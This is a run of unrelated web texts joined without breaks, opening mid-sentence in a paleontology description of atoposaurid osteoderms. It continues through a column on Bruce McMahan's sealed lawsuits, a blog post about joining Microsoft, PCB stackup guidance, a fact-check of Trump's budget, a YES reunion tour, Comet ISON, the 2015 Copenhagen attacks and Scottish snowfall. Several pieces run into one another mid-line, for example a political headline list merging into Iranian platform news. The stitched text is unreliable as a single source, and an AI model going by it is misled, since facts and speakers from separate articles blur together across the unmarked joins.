caudal osteoderms in Theriosuchus, but contrasting with Alligatorium meyeri and other atoposaurids. The degree of sculpting on the osteoderm dorsal surfaces increases posteriorly, as does the prominence of the longitudinal keel which shifts to a slightly medial position from an initially more central position, unlike Alligatorellus beaumonti in which it is consistently laterally placed as a distinct shelf. The lateral and medial edges of the osteoderms are smooth and either straight or convex, and the straight anterior and posterior margins are parallel. The morphology of the ventral osteoderm series is very similar, where visible, but with more prominent longitudinal ridges in the more posterior elements. There is no visible morphological heterogeneity in the nuchal and sacral osteoderms, contrasting with Alligatorellus beaumonti in which this feature is highly distinctive. It is unknown whether the ventral series are paired or not in A. bavaricus, as the ventral portion of the skeleton is mostly unobservable. Other minor axial elements are partially visible beside the osteoderms. Two thoracic ribs are preserved embedded within the trunk melange. They are gently arcuate in their overall morphology, and not preserved in situ. There are several other rib elements more anterior to these and just ventral to the anterior-most osteoderms, but they are largely obscured by the overlying matrix and axial elements. Three posteroventrally directed chevrons are in situ with their proximal caudal vertebrae, positioned just posterior to the only visible three-dimensionally preserved vertebrae. Pectoral girdle: Only the right scapula is preserved, and is fragmented at both ends, including both the glenoid fossa and coracoidal contact. It is bow shaped, |
but we do know that one of the conditions for the settlement was that all the lawsuits be permanently sealed. When that was accomplished, McMahan would write checks somewhere, we believe, in the range of $7 million to $11 million.
All of that cash, however, couldn't take the court records we were already holding out of our hands. McMahan was simply too late to prevent our story from being published. But his throwing in the towel on the lawsuits and sealing the record would prevent other news organizations from culling records from court files themselves, which may be why more outfits haven't followed the Post's example and done their own stories. (Not that there's a lack of interest. Newsies from Australia to Greece have been asking us to send photographs of Bruce and Linda. Major daily newspapers, glossy magazines, supermarket tabloids, foreign press syndicates, and network television news organizations have all contacted us, asking for a piece of the amazing tale. But I suspect their uptight lawyers are holding them back, since they can't get the lawsuits directly from courthouses on their own.)
Bruce and his money are winning that battle. But he wasn't so fortunate when he tried to rush New Times into court the week our story hit the streets.
Thursday afternoon, the week our story appeared, we received a 37-page fax and a phone call from an attorney telling us that McMahan had convinced a federal judge in Miami to hold an emergency hearing the next morning to consider McMahan's motion for injunctive relief.
McMahan wanted the judge to force us to remove Linda's video deposition from our website, as well as other court documents we posted there, like the 1990 paternity test showing with 99.7 percent certainty that Bruce is Linda's biological father. (But we suspected it was the video that was really giving him indigestion.)
One of our intrepid lawyers, Sandy Bohrer, responded by calling McMahan's people and asking them about their filing. He mentioned that after reading it, he got the impression that they had never heard of something called the First Amendment.
That must have been some phone call. Within minutes, McMahan folded. He withdrew his motion, and the emergency hearing was canceled.
That should be the end of Bruce's legal moves. At this point, only the New York Post has done stories based on Kelly Cramer's reporting, so it's in McMahan's interest not to open another legal can of worms. If he did, he'd have to expose to public view those five sordid court cases that he's paying so much money to seal, and the rest of the news biz would be on them like hounds on a hambone.I’m joining Microsoft – and I couldn’t be more excited!
A while back I shared that I was leaving Oracle. Around this time I was casting my net out to friends at four companies I wanted to work at, with one of those companies being Microsoft (the others shall remain nameless, but needless to say I enjoyed chatting to all of them!). After JavaOne I was even more interested in Microsoft as I heard a lot about their push to supporting Java on Azure. Around this time I spoke to Tim Heuer on the phone, and less than a week later I was in Seattle interviewing with Microsoft. A day after that (literally whilst I was standing in Seattle-Tacoma International Airport) a job offer was confirmed, and now (after the usual protracted background check process to ensure I’m not a criminal, am educated, and have actually worked where I say I’ve worked), I’m joining Microsoft on December 11. This was an incredible pace, and actually, it left some of the other companies I was talking to in the dust. After only a short amount of soul-searching, I dropped all other discussions and jumped all in with Microsoft. The other upside is that I will be joining Microsoft but working remotely from my home in New Zealand – a setup I’m extremely familiar with 🙂
The ten year old inside of me dreamt of one day working for Microsoft (I was a pretty huge Bill Gates fanboy). To fulfil that dream is very pleasing (and surprising, considering my career as a Java developer). Additionally, it appears as if in recent years the culture at Microsoft has improved significantly under Satya Nadella, so it feels like really exciting times to be joining Microsoft.
I am joining the rapidly growing Cloud Developer Advocate team, where I will be focusing on growing the use of Java on Azure. This is exciting to me as I see that the Cloud Developer Advocate team is staffed full of passionate open source community members, and our goal is to not evangelise for Microsoft but to listen to the community, and ensure that developers get what they need and want out of Azure. Most critically, this team falls under engineering at Microsoft. It means our function is to work with the engineers building Azure and to act as an interface between them and the wider community. We are not marketing, and we can play an active role in advocating for community requests, and showcasing the work of the engineers building Azure.
From my point of view, it feels like there is a huge amount of potential here to grow the use of Java on Azure, and I look forward to that challenge. In my research so far into Azure/Java, I already have formed a lot of my own opinions on ways to improve the developer experience, and I will be working incredibly hard with the skilled engineers at Microsoft. I look forward to bringing my skills and experiences in API design and Java development to Microsoft, and I look forward to attending conferences around the world and continuing to exist in the excellent Java community that I have called home for a very long time.
This role will be a change of pace for me too – I’m moving from being a full-time engineer to being a developer advocate. Time will tell how this works out, but I’m interested to experience different career paths and the opportunities they present over my career. I know this role will be less ‘deep’ coding, but I suspect there will be significant amounts of code in my future in this role. More interestingly for me, it is a big step away from my client-side work into a whole new world of the cloud, including its entirely different lexicon, which I will be getting familiar with 🙂
As always, feel free to ping me at [email protected] if you have any questions. I’m on Twitter too.Standard 4- and 6-Layer PCB Stackups
Posted by Nikola T. in PCB Design on 4-17-13
Requirements for every PCB are unique, so it’s a bit of a misnomer to call the stackups presented below “standard.” If for instance, you have a requirement that the PCB must pass FCC compliance testing while operating outside a shielded enclosure, perhaps these stackups aren’t for you. With that said, these stackups are a great starting point and as-is, will suit most designer’s needs.
4 Layer Stackup
The classic 4-layer PCB stackup includes two routing layers and two internal planes, one for ground and the other for power.
Adhering to this stackup, including the core and prepreg heights shown, while utilizing FR-4 PCB material and 1 oz copper, the properties of 50 Ohm traces on the routing layers are provided in the table below.
Layer 50 Ohm Trace Width Top Layer 0.017" Bottom Layer 0.017"
6 Layer Stackup
The 6-layer PCB classic stackup includes four routing layers (two outer and two internal) and two internal planes (one for ground and the other for power).
Again, adhering to this stackup while utilizing FR-4 PCB material and 1 oz copper, the properties of 50 Ohm traces are provided in the table below.
Layer 50 Ohm Trace Width Top Layer 0.0170" Internal Routing Layers 0.0065" Bottom Layer 0.0170"
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Wrap-up
Remember, these stackups aren’t for every design. For example, high speed designs will typically always keep power and ground planes on adjacent layers for decoupling and designs that require low electromagnetic emissions may need to utilize additional ground planes for shielding. One final practicality to consider, always route traces perpendicular on adjacent routing layers, e.g., on the 6-layer stackup, side to side on Internal Routing Layer 1 and top to bottom on Internal Routing Layer 2. This technique increases routing efficiency and also minimizes crosstalk.Pandora is one of the most popular internet radio apps available. Loved and listened to by millions, Pandora is also at the center of a heated debate about music streaming royalties. Pandora argues they are unfairly forced to pay royalties way above what terrestrial radio pays, while artist rights organizations believe artists and labels deserve every penny. Join the podcasters as they explore this sticky issue and offer their own insights. What are your thoughts on The Pandora Problem? Let us know in the comments below or give us a ring and leave a message 360.524.2209.
Mentioned in this show:
My Song Got Played On Pandora 1 Million Times and All I Got Was $16.89
Pandora Paid Over $1,300 for 1 Million Plays, Not $16.89
IK Multimedia’s iRigClinton Slams Trump Over 'Actions and Rhetoric', Support From White Supremacists
Caldwell: Tax Reform Will Be 'A Republican-Only Fix'
Former Secret Service Agent Dan Bongino called Hillary Clinton a "fraud" and ripped her radio interview with Salem Network's Hugh Hewitt.
Brian Kilmeade played tape of the interview, noting how Clinton failed to connect with the electorate and express herself as an agent of change after President Obama's term expired.
Clinton said that following a two-term president of her own party was like facing a "historic headwind."
"That's because she sat in front of focus groups and changed her positions by the day," Bongino said.
.@dbongino on his time working with @HillaryClinton while in the Secret Service: "I found [her] to be the most deceptive human being, manipulative political person in a position of power I'd ever met in my entire life." #Tucker pic.twitter.com/rtrYqeoMoz — Fox News (@FoxNews) November 23, 2017
He said that while he worked for the Secret Service during President Clinton's term, he "found Mrs. Clinton to be the most deceptive human being [and] manipulative political person in a position of power I'd ever met."
"It wasn't so much that she was a liar - she deceived and manipulated with such ease," he said, objecting to Democratic strategist Robin Biro's account of Clinton being a warm person to be around.
"Mrs. Clinton is a fraud," Bongino, also a former Republican congressional candidate in the Maryland panhandle, said.
"I lost a tough [election] in Maryland," he said, adding that, despite the thin margin of loss, he had to "move on."
Watch more above.
MSNBC's Willie Geist: If Roy Moore Wins, GOP 'Will Be the Party of a Pedophile'
GQ: It's Your 'Civic Duty' to Ruin Thanksgiving for Your Trump-Supporting Family Memberslol!Despite controversy surrounding international sanctions, Iran has called on foreign aid to recover a $40 million natural gas platform after it sunk to the seabed in the Persian Gulf.Divers have been deployed to see how the 1,300-metric-ton platform can be pulled up, in the giant South Pars field, according to the state-owned Pars Oil and Gas Co. (POGC) Ltd. However, due to extreme weather conditions in the area, a recovery operation has not yet began.The platform sunk to the bottom of the Gulf on Monday night as it was being installed by POGC and its builder, Iranian Marine Industrial Co. (Sadra), which is controlled by Iran’s Revolutionary Guards. It took 2.5 years to build.An investigation into the cause of the sinking has been launched. No casualties have been reported in this incident.How does President Donald Trump’s proposed budget reach a balance in 10 years, as the administration says it will?
With 3 percent economic growth, says Mick Mulvaney, director of the White House Office of Management and Budget.
How does Trump plan to deeply cut taxes without reducing federal revenues?
Economic growth, says Steve Mnuchin, secretary of the treasury.
Wait a minute, say tax and budget experts, that’s double-counting the same money.
“The same money cannot be used twice,” said Maya MacGuineas, president of the Committee for a Responsible Federal Budget.
When the White House unveiled Trump’s proposed fiscal 2018 budget, Mulvaney boasted that it reaches a balance within 10 years — meaning that it no longer runs a deficit or adds to the country’s debt.
Mulvaney, May 23: It’s new in that it balances for the first time in at least 10 years. The last time we looked, we couldn’t find a President Obama budget that balanced ever. I think he tried a couple times to convince us that primary balance, which was balance without regard for interest payments on the debt, was balanced. We reject that. We get to an actual balance on this budget within the 10-year window.
In order to reach that goal, the White House assumes “sustained, 3 percent economic growth,” Mulvaney said. The nonpartisan Congressional Budget Office projects a more modest expansion of gross domestic product at an average annual rate of 1.9 percent during the second half of the next 10-year period. Mulvaney said that kind of growth would never allow the country to balance its budget.
Mulvaney, May 23: If you assume 1.9 percent growth, my guess is you’ll never see a balanced budget again. So we refuse to accept that that’s the new normal in this country. Three percent is the old normal. Three percent will be the new normal again under the Trump administration. And that is, part and parcel, one of the foundations of this budget.
In addition to assuming annual economic growth of 3 percent, the president’s budget “assumes deficit neutral tax reform, which the Administration will work closely with the Congress to enact.” We don’t know what kind of tax reform Congress might enact, if any, but when the administration last month outlined Trump’s tax plan, administration officials assured that despite large corporate and individual tax cuts, it would not add to the deficit.
At a press briefing on the tax plan last month, Mnuchin said the tax plan would be revenue-neutral, in part, because it would stimulate growth to bring in enough extra revenue to offset the cuts.
Mnuchin, April 26: This will pay for itself with growth and with reduced — reduction of different deductions and closing loopholes.
But budget experts say Trump can’t have it both ways. Either the growth pays for the tax cuts, or it pays for bringing the budget to balance. It can’t do both.
In a statement on Trump’s budget, Taxpayers for Common Sense President Ryan Alexander said, “These same growth projections are what the administration was counting on to pay for tax reform, but they’re not accounted for in here as such.”
MacGuineas, president of the Committee for a Responsible Federal Budget, noted in a press release the same “inconsistency.”
MacGuineas, May 22: The budget also uses the entirety of the dynamic revenue from growth to pay down the debt – a move that we support but that is inconsistent with their past statements that economic growth would help pay for tax reform. The same money cannot be used twice.
The Trump budget makes deep cuts to discretionary spending (offset some by increases to the military), but those cuts aren’t enough to balance the budget, Roberton Williams of the Tax Policy Center told us. Balancing the budget also would require growth to create additional revenue.
But you can’t assume growth will balance the budget and offset tax cuts, Williams said.
“Both of those are not plausible,” Williams said. “They are counting it twice.”
In a blog post for the Washington Post, Lawrence Summers, who served as treasury secretary under President Clinton and director of President Obama’s National Economic Council, called it “an elementary double count” and “the most egregious accounting error in a presidential budget in the nearly 40 years I have been tracking them.”
Summers, May 23: Apparently, the budget forecasts that U.S. economic growth will rise to 3.0 percent because of the administration’s policies — largely its tax cuts and perhaps also its regulatory policies. Fair enough if you believe in tooth fairies and ludicrous supply-side economics. Then the administration asserts that it will propose revenue neutral tax cuts with the revenue neutrality coming in part because the tax cuts stimulate growth! This is an elementary double count. You can’t use the growth benefits of tax cuts once to justify an optimistic baseline and then again to claim that the tax cuts do not cost revenue. At least you cannot do so in a world of logic.
Asked about Summers’ claim of double-counting, Mulvaney said it was necessary to make assumptions about “a document that will look 10 years into the future.”
The administration could have assumed tax reform would be revenue neutral, or that it would reduce or add to the deficit. “Given the fact that we’re this early in the process about dealing with tax reform,” Mulvaney said, “we thought that assuming that middle road was the best way to do it.”
Mulvaney did not directly address the inconsistency between those two plans, but he went on to say that “one of the assumptions we didn’t make was that we didn’t close any of the tax gap.”
The tax gap is the difference between total taxes owed and the actual taxes paid on time. In 2016, Mulvaney said, that gap was $486 billion, “almost enough to close the deficit that year. And we don’t assume an additional penny of that being closed as part of our tax reform.” With a simpler tax code such as Trump has proposed, he said, it is reasonable to assume a reduction in the tax gap.
Williams, of the Tax Policy Center, doesn’t see anything in the Trump tax plan that would close the tax gap nearly enough to be able to offset the deficit.
“You’d need a big change to incentivize people from not hiding money,” Williams said. And if Trump administration officials really thought their plan would cut into the tax gap, Williams said, then they would have made it part of the budget plan.
Taxpayers for Common Sense also points out that while the Trump tax plan calls for abolishing the estate tax, the budget includes the revenue from that tax over the next 10 years anyway. In fact, the proposed budget says tax reform should “abolish the death tax, which penalizes farmers and small business owners who want to pass their family enterprises on to their children.” And yet, TCS notes, the proposed budget includes $328 billion in revenue from the estate tax between 2018 and 2027, the very same amount under “current law.” In other words, the budget counts the estate tax revenue while arguing for its demise.The band will make its live debut in North America in October/November, followed by the Rest of the World in 2017.
Long-time YES fans, rejoice! Jon Anderson, Trevor Rabin and Rick Wakeman are proud to announce that after a hiatus of 25 years, they are to reform the definitive YES line-up as – Anderson, Rabin and Wakeman (ARW).
Since they last played together in 1990 on the highly successful YES ‘Union Tour’, there have been various hybrid versions of the band. However, none featured the iconic voice of Jon Anderson, the outstanding guitar talent of Trevor Rabin, and the keyboard wizardry of Rick Wakeman. The aim of the band will be to restore the standard of excellence in performance that they established with their 1990 shows – which saw YES members past and present come together for the first (and only) time of the legendary band’s career.
“To be able to sing and perform with Rick and Trevor at this time in my life is a treasure beyond words,” explains Jon. “I’m so excited to create new music and revisit some of the classic work we created many years ago, it’s going to be a musical adventure on so many new levels.”
“Trevor and I have wanted to play Yes music together since the Union Tour,” adds Rick. “And as for so many of us, there is no Yes music without Jon. The ‘Holy Trinity of Yes’ is for me, very much a dream come true.”
The most successful prog rock group of all time, YES was founded by Jon Anderson in 1968 and went on to sell millions of units with releases such as Fragile, Close to The Edge, Tales From Topographic Oceans, Going For The One and 90125, as well as embarking on several record-breaking world tours.
While Rick is associated with the ’70s “prog era” of the band (which saw YES become a worldwide stadium headliner) and Trevor associated with the ’80s “pop era” of the band (which furthered the band’s popularity – including the band’s biggest chart success), Jon is the bridge between both factions (as he was a member of both eras).
Not content to rest on past glory, Jon, Trevor and Rick are working on new songs, which are currently being recorded. The band will make its live debut in North America in October/November, followed by the Rest of the World in 2017.
The worldwide ARW Tour is being produced by legendary concert promoter Larry Magid, who is considered an architect and leader of the modern concert business. With over 16,000 concerts to his credit and still counting, he has produced national and international tours for Yes, Richard Pryor, Bette Midler, Stevie Wonder, Robin Williams, Kristin Chenoweth, Earth Wind & Fire, Il Divo, The Allman Brothers Band, Patti LaBelle, Grover Washington Jr. and many others. In 1985 Larry Magid co-produced the American portion of Live Aid and in 2005 he was the producer of Live 8.
The following are confirmed dates, and on-sales for each market will be announced soon. Additional dates may be added:
Tue/Oct-04 Orlando, FL Hard Rock Live
Thu/Oct-06 Hollywood, FL Seminole Hard Rock Casino
Fri/Oct-07 Clearwater, FL Ruth Eckerd Hall
Sun/Oct-09 Durham, NC Durham Performing Arts Center
Mon/Oct-10 Atlanta, GA Fox Theatre
Sat/Oct-15 Glenside, PA Keswick Theatre
Sun/Oct-16 Glenside, PA Keswick Theatre
Wed/Oct-19 Boston, MA Wang Theatre
Fri/Oct-21 Wallingford, CT Toyota Oakdale Theatre
Sat/Oct-22 Huntington, NY The Paramount
Mon/Oct-24 Montclair, NJ Wellmont Theater
Wed/Oct-26 Red Bank, NJ Count Basie Theatre
Fri/Oct-28 Atlantic City, NJ Borgata Event Center
Sat/Oct-29 Akron, OH Goodyear Theater at East End
Tue/Nov-01 New York, NY Beacon Theatre
Wed/Nov-02 Pittsburgh, PA Heinz Hall
Fri/Nov-04 New Buffalo, MI Four Winds Casino
Sat/Nov-05 Chicago, IL Chicago Theatre
Mon/Nov-07 Nashville, TN Schermerhorn Symphony Center
Wed/Nov-09 St Louis, MO Fox Theatre
Fri/Nov-11 New Orleans, LA Saenger Theatre
Sat/Nov-12 San Antonio, TX Majestic Theatre
Mon/Nov-14 Austin, TX ACL at the Moody Theater
Wed/Nov-16 Denver, CO Paramount Theatre
Thu/Nov-17 Salt Lake City, UT Capitol Theater
Sat/Nov-19 Las Vegas, NV The Pearl
Sun/Nov-20 Phoenix, AZ Celebrity Theatre
Tue/Nov-22 Los Angeles, CA Orpheum
Fri/Nov-25 San Francisco, CA Masonic
New Dates Added:
NOV 27 SAN JOSE, CA CITY NATIONAL CIVIC CENTER
NOV 29 PORTLAND, OR ARLENE SCHNITZER CONCERT HALL
NOV 30 SEATTLE, WA PARAMOUNT
DEC 02 ANAHEIM, CA CITY NATIONAL GROVE OF ANAHEIM
DEC 03 INDIO, CA FANTASY SPRINGS RESORT CASINOFrom Bulbanews, your community Pokémon newspaper.
On the Origin of Species Columnist Xan Hutcheon Status Ongoing Schedule Mondays, Wednesdays and Fridays License BY-NC-SA 2.5 Original run April 2010 - present List of articles
On the Origin of Species is a column written by Xan Hutcheon and published exclusively on Bulbanews. It provides insight on the cultural and zoological origins of Pokémon species. Issues focus on either a single Pokémon's origins or the origins of multiple Pokémon connected in an evolutionary family.
The column began its first run on April 18, 2010, and editions were published regularly at the beginning of each week for six months. Two issues regarding Pokémon from Pokémon Black and White were published in March 2011.
A third set of articles ran during the pre-launch period of Pokémon X and Y.Amherst College. Via Wikimedia Commons Amherst College has announced it is dropping its mascot, Lord Jeffrey Amherst, from official use, The New York Times reported Tuesday.
Though "Lord Jeff" was an unofficial mascot for the school, his image was found throughout campus.
On Tuesday, the Amherst board of trustees decided "not to employ this reference in its official communications, its messaging and its symbolism," according to The Times.
Lord Jeffrey Amherst was a colonial military commander who helped the British win during the French and Indian War, and he's notorious for reportedly having soldiers distribute smallpox-infected blankets to Native Americans.
Amherst students protest racism on campus last November. Judd Liebman "You will do well to try to inoculate the Indians by means of blankets, as well as to try every other method that can serve to extirpate this execrable race," he wrote in a 1763 letter.
Amherst students have sought to remove the mascot from use for the past several years. Last fall, when Amherst College became embroiled in protests over racial discrimination on campus, one of the demands released by students related to Lord Jeff.
Students asked for the school's president, Biddy Martin, to condemn the inherent racism of the mascot and to encourage removal of all memorabilia around campus.
Similar calls to remove so-called racist figures have occurred in many elite schools this past fall. At Yale, there have been calls to rename Calhoun College named for John C. Calhoun, a fervent supporter of slavery.
Harvard law students have called for the removal of the school's seal, the Royall family's coat of arms, which has been seen to promote the legacy of slave-owning on Harvard's campus.[image-36]
After several days of continued observations, scientists continue to work to determine and to understand the fate of Comet ISON: There's no doubt that the comet shrank in size considerably as it rounded the sun and there's no doubt that something made it out on the other side to shoot back into space. The question remains as to whether the bright spot seen moving away from the sun was simply debris, or whether a small nucleus of the original ball of ice was still there. Regardless, it is likely that it is now only dust.
Comet ISON, which began its journey from the Oort Cloud some 3 million years ago, made its closest approach to the sun on Nov. 28, 2013. The comet was visible in instruments on NASA's Solar Terrestrial Relations Observatory, or STEREO, and the joint European Space Agency/NASA Solar and Heliospheric Observatory, or SOHO, via images called coronagraphs. Coronagraphs block out the sun and a considerable distance around it, in order to better observe the dim structures in the sun's atmosphere, the corona. As such, there was a period of several hours when the comet was obscured in these images, blocked from view along with the sun. During this period of time, NASA's Solar Dynamics Observatory could not see the comet, leading many scientists to surmise that the comet had disintegrated completely. However, something did reappear in SOHO and STEREO coronagraphs some time later – though it was significantly less bright.
[image-63]
Whether that spot of light was merely a cloud of dust that once was a comet, or if it still had a nucleus – a small ball of its original, icy material – intact, is still unclear. It seems likely that as of Dec. 1, there was no nucleus left. By monitoring its changes in brightness over time, scientists can estimate whether there's a nucleus or not, but our best chance at knowing for sure will be if the Hubble Space Telescope makes observations later in December 2013.
Regardless of its fate, Comet ISON did not disappoint researchers. Over the last year, observatories around the world and in space gathered one of the largest sets of comet observations of all time, which should provide fodder for study for years to come. The number of space-based, ground-based, and amateur observations were unprecedented, with twelve NASA space-based assets observing over the past year.
Related Links:
For more information on Comet ISON: www.nasa.gov/ison
To download recent ISON imagery: http://svs.gsfc.nasa.gov/Gallery/CometISON.htmlFor other uses, see Female (disambiguation) The symbol of the Roman goddess Venus is commonly used to represent the female sex and is the alchemical symbol for copper. Female (♀) is the sex of an organism, or a part of an organism, that produces non-mobile ova (egg cells). Barring rare medical conditions, most female mammals, including female humans, have two X chromosomes. Female characteristics vary between different species with some species containing more well defined female characteristics. Both genetics and environment shape the prenatal development of a female. Contents
Defining characteristics
Etymology and usage
"fæmnan," an Old English word for 'female' The word female comes from the Latin femella, the diminutive form of femina, meaning "woman". It is not etymologically related to the word male, but in the late 14th century the spelling was altered in English to parallel the spelling of male.[3]
Mammalian female
Adult female and male with clean-shaven pubic regions. A distinguishing characteristic of the class Mammalia is the presence of mammary glands. The mammary glands are modified sweat glands that produce milk, which is used to feed the young for some time after birth. Only mammals produce milk. Mammary glands are most obvious in humans, as the female human body stores large amounts of fatty tissue near the nipples, resulting in prominent breasts. Mammary glands are present in all mammals, although they are seldom used by the males of the species.[4] Most mammalian females have two copies of the X chromosome as opposed to the male which carries only one X and one smaller Y chromosome (but some mammals, such as the platypus, have different combinations). To compensate for the difference in size, one of the female's X chromosomes is randomly inactivated in each cell of placental mammals while the paternally derived X is inactivated in marsupials. In birds and some reptiles, by contrast, it is the female which is heterozygous and carries a Z and a W chromosome whilst the male carries two Z chromosomes. Intersex conditions can also give rise to other combinations, such as XO or XXX in mammals, which are still considered as female so long as they do not contain a Y chromosome, except for specific cases of testosterone deficiency/insensitivity in XY individuals while in the womb. However, these conditions frequently result in sterility.[citation needed] Mammalian females bear live young (with the rare exception of monotremes, which lay eggs). Some non-mammalian species, such as guppies, have analogous reproductive structures; and some other non-mammals, such as sharks, whose eggs hatch inside their bodies, also have the appearance of bearing live young.[citation needed]
Symbol
A common symbol used to represent the female sex is ♀ (Unicode: U+2640 Alt codes: Alt+12), a circle with a small cross underneath. According to Schott,[5] the most established view is that the male and female symbols "are derived from contractions in Greek script of the Greek names of these planets, namely Thouros (Mars) and Phosphoros (Venus). These derivations have been traced by Renkama[6] who illustrated how Greek letters can be transformed into the graphic male and female symbols still recognised today." Thouros was abbreviated by θρ, and Phosphoros by Φ, both in the handwriting of alchemists so somewhat different from the Greek symbols we know. These abbreviations were contracted into the modern symbols.[citation needed]
Sex determination
Main article: Sex-determination system The sex of a particular organism may be determined by a number of factors. These may be genetic or environmental, or may naturally change during the course of an organism's life. Although most species with male and female sexes have individuals that are either male or female, hermaphroditic animals have both male and female reproductive organs.[citation needed] Genetic determination The sex of most mammals, including humans, is genetically determined by the XY sex-determination system where males have X and Y (as opposed to X and X) sex chromosomes. During reproduction, the male contributes either an X sperm or a Y sperm, while the female always contributes an X egg. A Y sperm and an X egg produce a male, while an X sperm and an X egg produce a female. The ZW sex-determination system, where males have ZZ (as opposed to ZW) sex chromosomes, is found in birds, reptiles and some insects and other organisms. Members of Hymenoptera, such as ants and bees, are determined by haplodiploidy, where most males are haploid and females and some sterile males are diploid.[citation needed] Environmental determination The young of some species develop into one sex or the other depending on local environmental conditions, e.g. many crocodilians' sex is influenced by the temperature of their eggs. Other species (such as the goby) can transform, as adults, from one sex to the other in response to local reproductive conditions (such as a brief shortage of males).[citation needed]
See also
Sources
Ayers, Donald M. English Words from Latin and Greek Elements. Second Edition. 1986. University of Arizona Press. United States.CLOSE Danish police believe they have killed the man responsible for two deadly terror attacks in Copenhagen. Investigators think one of the gunman's targets was a Swedish cartoonist known for depicting the prophet Mohammad. VPC
A man reacts next to flowers for the shooting victims outside the "Kruttoende" cultural centre in Copenhagen, Denmark on February 15, 2015. Two fatal attacks in the Danish capital, at a cultural center during a debate on Islam and free speech and a second outside the city's main synagogue. (Photo11: Claus Bjorn Larsen, AFP/Getty Images)
COPENHAGEN — Denmark continued to reel Sunday over its first double terrorist attack, trying to make sense of killings in a country that rarely sees deadly violence and where the queen and officials walk around with light security.
"We are a nation that is completely unused to such drama," said Kirsten Stubbe-Teglbjaerg, a resident of the Danish capital.
A gunman fired multiple shots Saturday through the window of a cafe in a tony part of Copenhagen during a free speech debate, killing one man.
By late Saturday night, the gunman stood on a cafe-filled street parallel to the city's famous mile-long pedestrian shopping street, killing a male guard at a synagogue. By early Sunday morning, a massive manhunt resulted in a shootout near a downtown subway station and the gunman's death.
Five police officers were also wounded in the attacks.
Police haven't released the identity of the attacker but said at a news conference Sunday that the 22-year-old suspect was born in Denmark, was involved in gang criminal activity and had an interest in militant Islam. The suspect has not traveled abroad to the Middle East, police said. Police also said they suspect he was attempting to copycat last month's Paris shootings on the Charlie Hebdo office and a kosher grocery store.
Police originally thought the gunman was working alone, but officers raided a local Internet cafe, close to where the shootout occurred, and said they handcuffed one suspect.
Armed police stand guard outside an Internet cafe that was raided in connection with the attacks in Copenhagen on Feb.15, 2015. (Photo11: Odd Andersen, AFP/Getty Images)
The two people killed were Finn Noergaard, 55, a filmmaker shot in the cafe, and Dan Uzan, 37, a volunteer security guard at the synagogue.
"It feels surrealistic that this happened in Denmark, just around the corner from where I live," said Uffe Alici Pedersen of Copenhagen, who is Muslim. "I think everyone is thinking of the dead and wounded and their families with the deepest compassion and respect."
Denmark, who rescued its Jewish population during World War II by sending them to neutral Sweden, expressed solidarity with the murdered guard. Three Muslim organizations quickly condemned the killings.
Prime Minister Helle-Thorning-Schmidt stood in front of the synagogue Sunday and said, "In Denmark, everyone is free to practice their religion." Queen Margrethe II also sent a message of solidarity: "My thoughts are with the slain filmmaker and the young guard from the Jewish community."
The cafe attack took place during a debate on free speech and blasphemy featuring Swedish cartoonist Lars Vilks, who has received death threats since he drew a cartoon of the Prophet Mohammad in 2007, two years after a Danish newspaper drew the prophet and set off riots in the Muslim world, some deadly. Police said the gunman had wanted to shoot Vilks.
Minister of Justice Mette Frederiksen said Sunday, "We should all be able to practice freedom of speech here."
U.S. State Department spokeswoman Jen Psaki offered Washington's help to Danish authorities and said Americans "stand united with the people of Denmark and all others who defend the universal right of freedom of speech and stand against anti-Semitism and bigotry in all its forms."
After the shooting near the synagogue and rising anti-Semitism, Israeli Prime Minister Benjamin Netanyahu on Sunday called for the "massive immigration" of European Jews to Israel, saying it's the only place where Jews can truly feel safe, the Associated Press reported. His comments triggered an angry response from Copenhagen's chief rabbi, Jair Melchior.
"People from Denmark move to Israel because they love Israel, because of Zionism. But not because of terrorism," Melchior told the AP. "If the way we deal with terror is to run somewhere else, we should all run to a deserted island."
Read or Share this story: http://usat.ly/1Dv3xdMWhere |
The Big Lebowski
The artist: Sundara Karma
Who: Back-to-basics indie with angular riffs and soaring choruses
Sunday July 23
The film: Whiplash
The artist: The Indien
Who: Mystical lo-fi rock perfect for lazy afternoons
Wednesday July 26
The film: High Fidelity
The artist: Willow Robinson
Who: Rootsy Americana given a modern-folk makeover
Sunday July 30
The film: Trainspotting
The artist: Dagny
Who: Joyous Scandi-pop with an indie twist from the Norwegian star
Wednesday August 2
The film: This Is Spinal Tap
The artist: Little Cub
Who: London electro trio who use vibey-pop as therapy
Wednesday August 9
The film: Drive
The artist: Georgie
Who: The latest contender in a line of astonishing female British singer/songwriters
Wednesday August 16
The film: Pulp Fiction
The artist: Artificial Pleasure
Who: If David Bowie fronted Talking Heads, it’d sound a little bit like the London quartet’s mind-melting funk
Sunday August 27
The film: Goodfellas
The artist: Lao Ra
Who: Visceral pop bangers with a Latin twist from the Columbian provocateur
Wednesday August 30
The film: True Romance
The artist: Tom Grennan
Who: Chase & Status collaborator making heart-rending folk-popImage copyright Andreas Heinzl/Unexplored Scotland Image caption A climber at the top of North Gully on An Teallach
World-renowned climber Hamish MacInnes believes this winter in Scotland's mountains is the snowiest since 1945.
He said he had not seen such "colossal volumes" of snow since he started climbing as a youngster 69 years ago.
Dumfries and Galloway-born Mr MacInnes is also the inventor of mountaineering equipment, including a stretcher.
He said: "The first time I went climbing was in 1945 and I remember cutting our way through snow in Glencoe.
"I've not seen anything like it until now.
"This covering of snow we have just now is very alpine. There is a very defined demarcation line between where the snow starts and the bare grass below.
"The volume of snow is colossal. It has been falling for weeks now."
Mr MacInnes, whose first climb was Buachaille Etive Mor, added: "The biggest accumulations have been on the main plateaus."
Hamish MacInnes fact file Image copyright Handout Designed the first all-metal ice axe, founded the Search and Rescue Dog Association and set up the Scottish Avalanche Information Service.
His MacInnes stretcher is used internationally
First recipient of the Scottish Award for Excellence in Mountain Culture
Was an adviser on Clint Eastwood's film The Eiger Sanction and The Mission, starring Robert De Niro.
He said the snow at the highest levels was powder, which for walkers is tiring to hike through and is also unstable, raising the risk of avalanches.
Mr MacInnes, who has written extensively on hillwalking and climbing, said climate change could be a cause of this year's heavy snowfalls. He said he had been critical of climate change science in the past.
"I wrote an apology to the people who predicted climate change," he said.
"I thought it was just a historical pattern, it probably is to a large extent, but I did kind of poo-pooed the idea of climate change."
The veteran mountaineer added: "This snow is not just something happening in Scotland.
"This turmoil is throughout the world. I have been in contact with people from all over the world, people in rescue teams, and they have got the same pattern - even more pronounced than us."
Lochaber Mountain Rescue Team, the UK's busiest MRT, has suggested that the snow and also frequent strong winds have discouraged some walkers and climbers from heading into the hills.
Team leader John Stevenson told BBC Radio Scotland: "It has been a quiet year. People are either behaving themselves, or the conditions are too bad for them to go out.
